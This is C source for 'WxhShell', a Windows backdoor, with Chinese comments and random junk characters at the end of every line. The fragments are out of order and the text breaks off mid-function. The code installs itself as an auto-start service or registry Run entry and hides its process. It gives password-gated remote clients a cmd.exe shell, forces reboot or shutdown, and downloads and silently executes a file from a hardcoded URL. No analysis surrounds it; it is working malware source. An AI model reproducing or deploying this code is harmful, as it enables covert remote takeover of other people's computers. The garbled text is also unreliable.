    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4lBU#V7  
    else { D@!=d@V.  
    closesocket(wsh); hs}8xl  
    ExitThread(0); `'V4PUe  
    } fu90]upz~  
    break; ^h{)Gf,+\  
    } Zh_|m#)  
  // 获取shell Y(44pA&oN  
  case 's': { x' .:&z  
    CmdShell(wsh); -!c"k}N=  
    closesocket(wsh); u%.$BD Hg  
    ExitThread(0); ?JL:CBvCp  
    break; bf9a 1<\  
  } r2k2%nI-J  
  // 退出 e^ v.)  
  case 'x': { A45A:hqs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ar:+;.n  
    CloseIt(wsh); `[C!L *#,  
    break; dDF .qXq.  
    } Y5F]:gs@  
  // 离开 otk}y8  
  case 'q': { U#3J0+!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hUYd0qEbEt  
    closesocket(wsh); -%L6#4m4o  
    WSACleanup(); <n(*Xak{a  
    exit(1); / ~^rr f  
    break; Yot?=T};3{  
        } a{[x4d,z  
  } 6P';DB  
  }  Br` IW  
tO0!5#-VR  
  // 提示信息 ,Jd ',>3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1AU#%wIEP  
} cq$i  
  } QcgfBsv96  
 |jM4E$  
  return; Dgy]ae(Hb3  
} x:nKfY5  
vsa92c@T  
// shell模块句柄 @r?Uua  
int CmdShell(SOCKET sock) [o?* "c  
{ p1vp 8p  
STARTUPINFO si; bR V+>;L0@  
ZeroMemory(&si,sizeof(si)); @'|)~,"bx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |O"lNUW   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :rg5Kt&  
PROCESS_INFORMATION ProcessInfo; 7e<c$t#H  
char cmdline[]="cmd"; p ZZc:\fJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _r2J7&  
  return 0; 7^g&)P  
} x:QgjK  
;$z$@@WC  
// 自身启动模式 P LueVz  
int StartFromService(void) uV=Qp1~  
{ v'BZs   
typedef struct nB!&Zq  
{ 0=K9`=5d0  
  DWORD ExitStatus; rta:f800z  
  DWORD PebBaseAddress; -N"&/)  
  DWORD AffinityMask; 1|ra&(=)  
  DWORD BasePriority; mdw7}%5V  
  ULONG UniqueProcessId; z(H^..<!5  
  ULONG InheritedFromUniqueProcessId; _%GGl$kH  
}   PROCESS_BASIC_INFORMATION; /IsS;0K%L  
i@4~.iZ8  
PROCNTQSIP NtQueryInformationProcess; ?2oHZ%G  
E <c9#I=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HcqfB NM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lIProF0  
g>J<%z, }2  
  HANDLE             hProcess; 0lv %`,  
  PROCESS_BASIC_INFORMATION pbi; AGbhJ=tB  
>$ e9igwe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C?2' +K  
  if(NULL == hInst ) return 0; $_x^lr  
mVR P~:+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *guoWPA|Ij  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d20gf:@BM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =dFv/F/RW  
kSDZZx  
  if (!NtQueryInformationProcess) return 0; $ mI0Bk  
q#8 [  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )LyojwY_g  
  if(!hProcess) return 0; qBCK40   
>hr{JJe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %%4t~XC#  
%wSj%>&-R  
  CloseHandle(hProcess); cra+T+|>Kc  
z-b*D}&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K=,F#kn  
if(hProcess==NULL) return 0; 3#TV5+x*"`  
=X.9,$Y  
HMODULE hMod; M6}3wM*4  
char procName[255]; '60 L~`K  
unsigned long cbNeeded; 'UYR5Y>  
kbMYMx.[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Oj^,m.R  
]X^rU`":  
  CloseHandle(hProcess); t8dm)s[r8  
IqD_GL)Ms  
if(strstr(procName,"services")) return 1; // 以服务启动 M-giR:,  
AqV7\gdOC  
  return 0; // 注册表启动 |0%+wB  
} X3V'Cy/sy  
V7Mh-]  
// 主模块 iySRY^  
int StartWxhshell(LPSTR lpCmdLine) 1Y]TA3:  
{ J52 o g4l  
  SOCKET wsl;  0gfA#|'  
BOOL val=TRUE; =hMY2D  
  int port=0; R<=zCE`:  
  struct sockaddr_in door; ~>+]%FPv  
ivW(*c  
  if(wscfg.ws_autoins) Install(); tz&y*e&  
{1b Zg  
port=atoi(lpCmdLine); d{E}6)1=  
x*Y@Q?`>5W  
if(port<=0) port=wscfg.ws_port; $9ky{T?YG  
U~ck!\0&T  
  WSADATA data; q@xBJ[IM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b%S62(qP  
=-}[ ^u1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fOMvj%T@2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zBe8,, e  
  door.sin_family = AF_INET; `IY/9'vT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n8D xB@DI  
  door.sin_port = htons(port); KFFSv{m[  
|K|h+fgG6*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g'|MA~4yB  
closesocket(wsl); \} ^E`b  
return 1; [mPjP%{=@  
} @!8ZPiW<  
d:i;z9b@to  
  if(listen(wsl,2) == INVALID_SOCKET) { MKWyP+6`  
closesocket(wsl); #Z<a  
return 1; 6KOlY>m]  
}  1"e)5xI  
  Wxhshell(wsl); .fdL&z  
  WSACleanup(); _X'"w|0  
.({smN,B  
return 0; jWYV#ifs2  
n2I V2^ "  
} ;j)FnY=:-  
4~N[%>zJ  
// 以NT服务方式启动 C|o`k9I#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tT79 p.z B  
{ rrCNo^W1  
DWORD   status = 0; wW/7F;54  
  DWORD   specificError = 0xfffffff; P:N1#|g  
0s>/mh;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; | a# f\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q;D0<Bv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U_{Ux 2  
  serviceStatus.dwWin32ExitCode     = 0; <!pvqNApg  
  serviceStatus.dwServiceSpecificExitCode = 0; <bD>m[8,  
  serviceStatus.dwCheckPoint       = 0; EVNY*&p  
  serviceStatus.dwWaitHint       = 0; L^{|uP15N  
PtTHPAKj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5=1^T@~#&  
  if (hServiceStatusHandle==0) return; D2,z)O%VK  
wWp(yvz  
status = GetLastError(); =lVK IW  
  if (status!=NO_ERROR) +|ycvHd  
{ _BDK`D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +tD[9b! m  
    serviceStatus.dwCheckPoint       = 0; wW%4d  
    serviceStatus.dwWaitHint       = 0; "1-}A(X  
    serviceStatus.dwWin32ExitCode     = status; _IdRF5<4  
    serviceStatus.dwServiceSpecificExitCode = specificError; HWVtop/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >N.]|\V  
    return; L*x[?x;)@  
  } \2vg{  
nO)X!dp}J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; shMSN]S_x  
  serviceStatus.dwCheckPoint       = 0; A<B=f<N3gV  
  serviceStatus.dwWaitHint       = 0; 7k(Kq5w.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t&(PN%icD  
} eBJUv]o %  
A.5i"Ci[ie  
// 处理NT服务事件,比如:启动、停止 ;-Jb1"5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ScSZGs 5&  
{ ru7RcYRq  
switch(fdwControl) Dxk+P!!K  
{ 1\r|g2Z :  
case SERVICE_CONTROL_STOP: 9Fr3pRIJ  
  serviceStatus.dwWin32ExitCode = 0; >X51$wBL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %b^OeWip  
  serviceStatus.dwCheckPoint   = 0; MW+b;0U`#  
  serviceStatus.dwWaitHint     = 0; p^pOuy8  
  { OGY"<YH6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IO/4.m-aN#  
  } 41_SRh7N  
  return; [S@}T zE  
case SERVICE_CONTROL_PAUSE: 0V!l,pg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1DA1N<'  
  break; {Ions~cO)  
case SERVICE_CONTROL_CONTINUE: T_lsGu/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ymNnkFv  
  break; 2"-S<zM  
case SERVICE_CONTROL_INTERROGATE: XJ Iv1s\g  
  break; jU5}\oP@  
}; AZ{^o4<q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #"49fMi/  
} raQ7.7  
E{2Eoj;gq  
// 标准应用程序主函数 9RWkm%?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -$,%f?  
{ 10#f`OPC  
(4%YHS8  
// 获取操作系统版本 Ve/xnn]'  
OsIsNt=GetOsVer();  PTS]7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8+Bu+|c%f  
OK{xuX8u  
  // 从命令行安装 P(a.iu5   
  if(strpbrk(lpCmdLine,"iI")) Install(); ILic.@st  
GAc{l=vT'  
  // 下载执行文件 0W%@gs5d&  
if(wscfg.ws_downexe) { @p|$/Z%R,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F]I=+T   
  WinExec(wscfg.ws_filenam,SW_HIDE); $.:mai  
} $ F S_E  
)=DGdI Et  
if(!OsIsNt) { c~o+WI Ym  
// 如果时win9x,隐藏进程并且设置为注册表启动 M+!x}$ &v  
HideProc(); w%zRHf8C  
StartWxhshell(lpCmdLine); :>81BuMvg  
} b,IocD6v;P  
else p)~lL  
  if(StartFromService()) Tb1U^E:  
  // 以服务方式启动 wap3Kd>MP  
  StartServiceCtrlDispatcher(DispatchTable); 8/"fWm/  
else q-Qxbg[>e  
  // 普通方式启动 Vj!rT <@  
  StartWxhshell(lpCmdLine); wP/A^Rs  
BQ jK8c<  
return 0; 1R. 4:Dn_  
} Cbs5dn(Y  
K]xa/G(  
Cb:gH}j  
%AW4.3()8  
=========================================== n$:IVX"2b  
zT ZVehEe  
<A.W 8b7D  
1JEnnqu  
^W7X(LQ*+  
'>(.%@  
" j8K,jZ  
6yy;JQAke  
#include <stdio.h> } 17.~  
#include <string.h> $M:3XAN  
#include <windows.h> Em7 WDu0  
#include <winsock2.h> pZZf[p^s|  
#include <winsvc.h> RL[E X5U  
#include <urlmon.h> .O0O-VD+a  
5TUNX^AW  
#pragma comment (lib, "Ws2_32.lib") )J(q49  
#pragma comment (lib, "urlmon.lib") .4l/_4,s_  
#Z~C`n u  
#define MAX_USER   100 // 最大客户端连接数 Bg8#qv  
#define BUF_SOCK   200 // sock buffer z 5]bia,  
#define KEY_BUFF   255 // 输入 buffer *{o UWt  
wLV~F[:  
#define REBOOT     0   // 重启 ~l~Tk6EM  
#define SHUTDOWN   1   // 关机 Ay{t254/  
7P7b8 ]  
#define DEF_PORT   5000 // 监听端口 g-vg6@6  
KTEZ4K^o=  
#define REG_LEN     16   // 注册表键长度 *xR 2)u  
#define SVC_LEN     80   // NT服务名长度 rNl.7O9b  
A-ZmG7xk  
// 从dll定义API +([!A6:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yGp z,X4x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 19q{6X`x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @InZ<AW>|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !Ss HAE|  
,DnYtIERo  
// wxhshell配置信息 mceG!@t  
struct WSCFG { q*)+K9LRk  
  int ws_port;         // 监听端口 rbqo"g`  
  char ws_passstr[REG_LEN]; // 口令 Wn|&cG9  
  int ws_autoins;       // 安装标记, 1=yes 0=no xdy^ ^3"  
  char ws_regname[REG_LEN]; // 注册表键名 5y4u5Tm-%  
  char ws_svcname[REG_LEN]; // 服务名 y/c%+ Ca/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +{53a_q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F&;   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5f:DN\ ]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D,ly#Nn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OVk ~N)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uENdI2EY8y  
H g5++.Bp  
}; e1q"AOV6  
/Y^8SO4  
// default Wxhshell configuration |vFj*XU  
struct WSCFG wscfg={DEF_PORT, `3q;~ 9  
    "xuhuanlingzhe", v0l_w  
    1, $WW)bP d4^  
    "Wxhshell", lnbmoHv  
    "Wxhshell", 'YSuQP>  
            "WxhShell Service", ;,O fJ'q^  
    "Wrsky Windows CmdShell Service", %G3sjnI;l  
    "Please Input Your Password: ", xeTgV&$@  
  1, kD.pzx EM  
  "http://www.wrsky.com/wxhshell.exe", v$w++3H  
  "Wxhshell.exe" eUO9 a~<  
    }; Cpx+qQt0  
m|svQ-/j  
// 消息定义模块 H' J|U|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %1:chvS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'q%%m/,VPQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ps R>V)L  
char *msg_ws_ext="\n\rExit."; G6`J1Uk  
char *msg_ws_end="\n\rQuit."; V7t!?xOL  
char *msg_ws_boot="\n\rReboot..."; gd6Dm4q(  
char *msg_ws_poff="\n\rShutdown..."; #NRh\Wj|  
char *msg_ws_down="\n\rSave to "; dX )W0  
XT@Mzo49z\  
char *msg_ws_err="\n\rErr!"; '7I g.K&  
char *msg_ws_ok="\n\rOK!"; }{],GHCjQ  
>E"9*:.^a  
char ExeFile[MAX_PATH]; u2sR.%2U<  
int nUser = 0; rU#li0 >  
HANDLE handles[MAX_USER]; t"s5\;IJ  
int OsIsNt; UU@fkk  
19d6]pJ5  
SERVICE_STATUS       serviceStatus; `Xo 4q3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XY+y}D %  
?$%%Mp(  
// 函数声明 RB3 zHk%  
int Install(void); yqSY9EX7  
int Uninstall(void); "2Op[~V  
int DownloadFile(char *sURL, SOCKET wsh); 5^)_B;.f  
int Boot(int flag); ^lO76Dz~a  
void HideProc(void); d$;/T('  
int GetOsVer(void); Qu~*46?0  
int Wxhshell(SOCKET wsl); 2Ji+{,?,  
void TalkWithClient(void *cs); GHN3PEJ>  
int CmdShell(SOCKET sock); Ttv9" z  
int StartFromService(void); ;rBp1[qVe  
int StartWxhshell(LPSTR lpCmdLine); +2T! z=  
WtX>Qu|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oO=o|w|T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [6g O  
h{]#ag5`  
// 数据结构和表定义 w+f=RHX"{  
SERVICE_TABLE_ENTRY DispatchTable[] = {K7YTLWY  
{ C}CKnkMMD  
{wscfg.ws_svcname, NTServiceMain}, $3\yf?m}q  
{NULL, NULL} F=&;Y@t  
}; XT||M)#  
bsO@2NP'  
// 自我安装 8sw,k   
int Install(void) HcJE0-"  
{ l C\E  
  char svExeFile[MAX_PATH]; i7eI=f-Q  
  HKEY key; W (& 6  
  strcpy(svExeFile,ExeFile); 9 qH[o?]  
3ps,uozj  
// 如果是win9x系统,修改注册表设为自启动 C{Blqf3V0  
if(!OsIsNt) { D@vMAW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #@_ 1fE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Rmoz1d  
  RegCloseKey(key); ndOfbu;mf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Tb#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w:Q|?30  
  RegCloseKey(key); 2a[9h #  
  return 0; AMk~dzNt  
    } pT=2e&  
  } fI11dE9&?[  
} $!`L"szqD*  
else { 5G? .T?  
W/v|8-gcK  
// 如果是NT以上系统,安装为系统服务 `s}BXKIv}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "T*I|  
if (schSCManager!=0) F!~l MpuE  
{ -2lRia  
  SC_HANDLE schService = CreateService *ro.mQ_  
  ( 3A R%&:-  
  schSCManager, ){tPP$-i=  
  wscfg.ws_svcname, |s`Kd-'|q  
  wscfg.ws_svcdisp, ?L`ZKRD  
  SERVICE_ALL_ACCESS, ~ hD{coVTI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C ktX0  
  SERVICE_AUTO_START, .;slrg(5F  
  SERVICE_ERROR_NORMAL, Ed=}PrE  
  svExeFile, & s-VSu7  
  NULL, [.U^Wrd  
  NULL, =>YvA>izE  
  NULL, !`C%Fkq  
  NULL, e\~l!f'z  
  NULL {8ECNQ[]  
  ); Uh\]?G[G  
  if (schService!=0) <bX 1,}?  
  { n2E4!L|q  
  CloseServiceHandle(schService); 6z]`7`G   
  CloseServiceHandle(schSCManager); %O/d4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5&qY3@I7l  
  strcat(svExeFile,wscfg.ws_svcname); #PH#2/[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]BfR.,,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T?e9eYwS  
  RegCloseKey(key); k5s?lWH  
  return 0; I{<;;;a  
    } F '#^`G9  
  } ` @>ZGL:  
  CloseServiceHandle(schSCManager); xA9V$#d|  
} lWlUWhLnP  
} jZ/+~{<  
0s!N@ ,T  
return 1; m >hovikY*  
} R .UumBM  
k.{G&]r{  
// 自我卸载 M8Juykw  
int Uninstall(void) gA:[3J,[;  
{ O=`o'%K<  
  HKEY key; iUCwKpb9  
U IQ 6SvM  
if(!OsIsNt) { K#;txzi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )"-fHW+fy  
  RegDeleteValue(key,wscfg.ws_regname); `uhL61cMp  
  RegCloseKey(key); .$^wy3:F"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CLktNR(45  
  RegDeleteValue(key,wscfg.ws_regname); ?w8p LE~E  
  RegCloseKey(key); um}N%5GAa  
  return 0; 4 4<v9uSK  
  } _r7=&oL.Q  
} =N;$0 Y(g  
} neIy~H_#!  
else { rr)9Y][l}  
NlMQHma  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,W8au"  
if (schSCManager!=0) :@WLGK*u.  
{ Fu mn9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @92gb$xT  
  if (schService!=0) HIrEv  
  { Hp*gv/0  
  if(DeleteService(schService)!=0) { x57'Cg \  
  CloseServiceHandle(schService); -sx-7LKi  
  CloseServiceHandle(schSCManager); VlV)$z_  
  return 0; < %/:w/  
  } tPzM7 n|  
  CloseServiceHandle(schService); bCt_y R  
  } w0$R`MOR+  
  CloseServiceHandle(schSCManager); w@2~`<Hk'"  
} tNYJQ  
} u IF$u  
6_Fpca3L  
return 1; UMv"7~  
} 0tSA|->(  
j]#wrm  
// 从指定url下载文件 5(KG=EHj_  
int DownloadFile(char *sURL, SOCKET wsh) $Llv p bl  
{ b_ypsGE]5!  
  HRESULT hr; B'!PJj  
char seps[]= "/"; G+fd.~aGE  
char *token; (}6wAfGo  
char *file; oq243\?Y  
char myURL[MAX_PATH]; jJ*=Ghu-  
char myFILE[MAX_PATH]; B0S8vU  
N]V/83_  
strcpy(myURL,sURL); G1p43  
  token=strtok(myURL,seps); Sr-|,\/O  
  while(token!=NULL) ( -xR7A  
  { wd"TM  
    file=token; bD  d_}  
  token=strtok(NULL,seps); Plb}dID"  
  } 5nY9Ls(e  
CN-4-  
GetCurrentDirectory(MAX_PATH,myFILE); exsQmbj* %  
strcat(myFILE, "\\"); vs+ We*8H  
strcat(myFILE, file); kz$(V(k<  
  send(wsh,myFILE,strlen(myFILE),0); >QA/Mi~R  
send(wsh,"...",3,0); 'G52<sF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "h QV9 [2\  
  if(hr==S_OK) S]vW&r3`  
return 0; 6xyY+  
else KQ-,W8Q5  
return 1; a (P^e)<  
TS/Cp{  
} ~@[(U!G  
9=H}yiJz  
// 系统电源模块 F [r|Y-c]  
int Boot(int flag) _`slkw P.  
{ d\\r_ bGW  
  HANDLE hToken; Ck:#1-t8{  
  TOKEN_PRIVILEGES tkp; OuMco+C  
>7"$}5d  
  if(OsIsNt) { c{^i$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E`Q;DlXv>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7&=-a|k~  
    tkp.PrivilegeCount = 1; p| Vmdnb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;HR 6X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VjC*(6<Gj  
if(flag==REBOOT) { te4F"SEf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /A0 [_  
  return 0; h=!M6yap<  
} : x>I- 3G  
else { LG"c8Vv&)~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sg+ZQDF{x  
  return 0; z|Hy>|+  
} m*\B2\2gJ  
  } f2`P8$U)R  
  else { B{[f}h.n  
if(flag==REBOOT) { R|nEd/' <  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~?2rGE  
  return 0; #Tup]czO  
} (zjz]@qJ  
else { bELIRM9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 71JM [2  
  return 0; )3BR[*u*  
} @TdQZZ}G\x  
} v<{wA`'R+  
A Z]P+v  
return 1; -08&&H  
} (Nm}3p  
t|go5DXz4  
// win9x进程隐藏模块 AD~~e% s=  
void HideProc(void) 8f /T!5  
{ a v'd%LZP  
[`y:M&@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C}n[?R  
  if ( hKernel != NULL ) MMd0O X)P  
  { TS\9<L9S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Uc_'3|e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LDT'FwMjy  
    FreeLibrary(hKernel); z0\;m{TH  
  } GS$ZvO  
?BWHr(J  
return; yjGGqz$  
} _8,vk-,'  
I{`KKui<M  
// 获取操作系统版本 PN1(j|  
int GetOsVer(void) 5%2ef{T[  
{ -}=@ *See#  
  OSVERSIONINFO winfo; fR+Ov8PCq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7p P|  
  GetVersionEx(&winfo); 8#X?k/mzU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qw3a"k-  
  return 1; ,[Dh2fPM,  
  else S4#A#a2J  
  return 0; E}xz7u   
} 3I'M6WA  
l9M#]*{  
// 客户端句柄模块 4R K.Il*d  
int Wxhshell(SOCKET wsl) zAKq7'_=  
{ >k$[hk*~  
  SOCKET wsh; @ChN_gd3!  
  struct sockaddr_in client; DQ}_9?3  
  DWORD myID; @4G.(zW  
X{0ax.  
  while(nUser<MAX_USER) se<i5JsSV  
{ a) I=U [  
  int nSize=sizeof(client); `ENlV9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UgF)J  
  if(wsh==INVALID_SOCKET) return 1; g i1}5DR  
o|rGy 5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n/KI"qa]9  
if(handles[nUser]==0) K[iY{  
  closesocket(wsh); &*jxI[  
else dAu^{1+2  
  nUser++; Q\&AlV  
  } D)H?=G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +Fu@I{"A  
]%NO"HzF~  
  return 0; NYSj^k;^(z  
} -IpV'%nX;  
H B::0l<  
// 关闭 socket sDzD 8as  
void CloseIt(SOCKET wsh) W _PM!>8`  
{ sf.E|]isW  
closesocket(wsh); o1fyNzq<  
nUser--; M3ecIVm8(  
ExitThread(0); ir?Uw:/f  
} }vXA`)Ns  
O4 +SD  
// 客户端请求句柄 yDCooX0  
void TalkWithClient(void *cs) H3 A]m~=3  
{ C$N4   
'<R B  
  SOCKET wsh=(SOCKET)cs; V\iIvBpWg  
  char pwd[SVC_LEN]; ,xAM[h&  
  char cmd[KEY_BUFF]; Y(#d8o}}#  
char chr[1]; ]>VJ--fH  
int i,j; RT.wTJS;  
WU+Jo@]y  
  while (nUser < MAX_USER) { |x _ -I#H  
_|^&eT-u  
if(wscfg.ws_passstr) { yS:IRI.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J[<D/WIH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;55tf l  
  //ZeroMemory(pwd,KEY_BUFF); sx;V,"Y  
      i=0; vWnHC  
  while(i<SVC_LEN) { vOvxQS}dBp  
&J5-'{U|0  
  // 设置超时 u7WTSL%  
  fd_set FdRead; bWX[<rh'  
  struct timeval TimeOut; ^'C,WZt  
  FD_ZERO(&FdRead); 4e(9@OLP  
  FD_SET(wsh,&FdRead); g9FVb7In_  
  TimeOut.tv_sec=8; Ov~S2?E8  
  TimeOut.tv_usec=0; Rk437vQD,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2;Y@3d:z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yZj}EBa  
;qT!fuN;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (!XYH@Mz<w  
  pwd=chr[0]; .J<qfQ  
  if(chr[0]==0xd || chr[0]==0xa) { w]o:c(x@  
  pwd=0; ^|F Vc48{  
  break; j{7ilo(i  
  } )CwMR'LV  
  i++; M f%^\g.}  
    } .(MbP  
i#M a -0#  
  // 如果是非法用户,关闭 socket gJcXdv=]2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {E3<GeHw4  
} PO1:9  
={mPg+Ei'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OIXAjU*N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V:0uy>  
JEm?26n X  
while(1) { '1kj:Np  
:N+#4rtgUY  
  ZeroMemory(cmd,KEY_BUFF); .qb_/#Bas  
e~>p.l  
      // 自动支持客户端 telnet标准   |`)V^e_  
  j=0; ,#'o)O#  
  while(j<KEY_BUFF) { xnhDW7m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vtz yB  
  cmd[j]=chr[0]; .qqb> 7|q  
  if(chr[0]==0xa || chr[0]==0xd) { Pw^c2TQ  
  cmd[j]=0; Ye\*b? 6  
  break; {g!exbVf  
  } `:bvuc(  
  j++; ~ ];6hxv  
    } >DL-Q\U  
R>e3@DQ~  
  // 下载文件 |`94Wj<  
  if(strstr(cmd,"http://")) { .Kh(F 6 s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ok\/5oz  
  if(DownloadFile(cmd,wsh)) ) v[Knp'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {>UMw>T[  
  else &, Zz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -u3SsU)_%N  
  } G0 nH Z6  
  else { qy42Y/8'  
o+X'(!Trw  
